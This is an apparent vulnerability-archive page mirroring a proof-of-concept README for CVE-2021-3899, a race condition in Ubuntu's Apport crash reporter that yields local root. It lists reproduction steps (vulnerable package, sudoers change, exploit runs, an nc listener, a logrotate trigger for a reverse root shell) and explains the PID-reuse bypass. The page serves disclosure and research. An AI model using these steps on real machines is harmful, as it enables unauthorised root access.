目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1336

100%

CVE-2021-3899 PoC — Canonical Apport 竞争条件问题漏洞

来源
关联漏洞
标题: Canonical Apport 竞争条件问题漏洞 (CVE-2021-3899)
Description:Canonical Apport是英国Canonical公司的一款用于收集并反馈错误信息(当应用程序崩溃时操作系统认为有用的信息)的工具包。 Canonical Apport 存在竞争条件问题漏洞,该漏洞源于Apport错误地检测奔溃后可执行文件是否被替换。本地攻击者可能会利用该漏洞以 root 用户身份执行任意代码。
Description
race condition in apport lead to Local Privilege Escalation on Ubuntu
介绍
# CVE-2021-3899 PoC

## Reproduce
0. Install an older version of apport: `sudo apt-get install apport=2.20.11-0ubuntu27` (any version <= 2.20.11-0ubuntu27.10 is fine, but you have to download the source code)
1. (optional) set small pid\_max. otherwise it will take a longer time to prepare for pid rollback. `echo 10000 | sudo tee /proc/sys/kernel/pid_max`
2. allow anybody to run ping as root: add `ALL ALL=(root) NOPASSWD: /usr/bin/ping` in /etc/sudoers
3. run multiple times of `ulimit -c unlimited; ./exploit`
4. you should see a file at `/etc/logrotate.d/core`
5. open another shell run `nc -lvcp 1234`
6. wait until logrotate is triggered, you can:
    1. adjust the clock one minutes earlier than crontab-daily trigger, and wait. (check /etc/crontab)
    2. run `sudo logrotate -vf /usr/sbin/logrotate /etc/logrotate.conf` to trigger logrotate immediately. (just same as `/etc/cron.daily/logrotate`)
7. there will be a reverse root shell connect to 127.0.0.1:1234

## Detail
Apport will check if pid is reused, by check if the start time of the process is later than apport self:
```
  # /usr/share/apport/apport
  594 apport_start = get_apport_starttime()
  595 process_start = get_process_starttime()
  596 if process_start > apport_start:
  597 error_log('process was replaced after Apport started, ignoring')
  598 sys.exit(0)
```

But this pid could be re-used just after apport launched. In such case, `get_apport_starttime() == get_process_starttime()`.

So, an you can let apport drop a core file with `-rw------- root:root`, if you can re-ocupy this PID with another process running under `uid==0`:
1. prepare a process X to crash, whose pid is A
2. repeating fork process, until current pid reaches A - 2
3. make process X crash, apport will be launched by kernel with pid A - 1. We kill process X, so pid A is now free.
4. run command `sudo ping 8.8.8.8` with cwd `/etc/logrotate.d/`. a process running under root:root will re-occupy pid A.
5. Since the start time of sudo and apport are same, the check of line 596 is bypassed. Apport then drop a core file of process X in /etc/logrotate.d
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →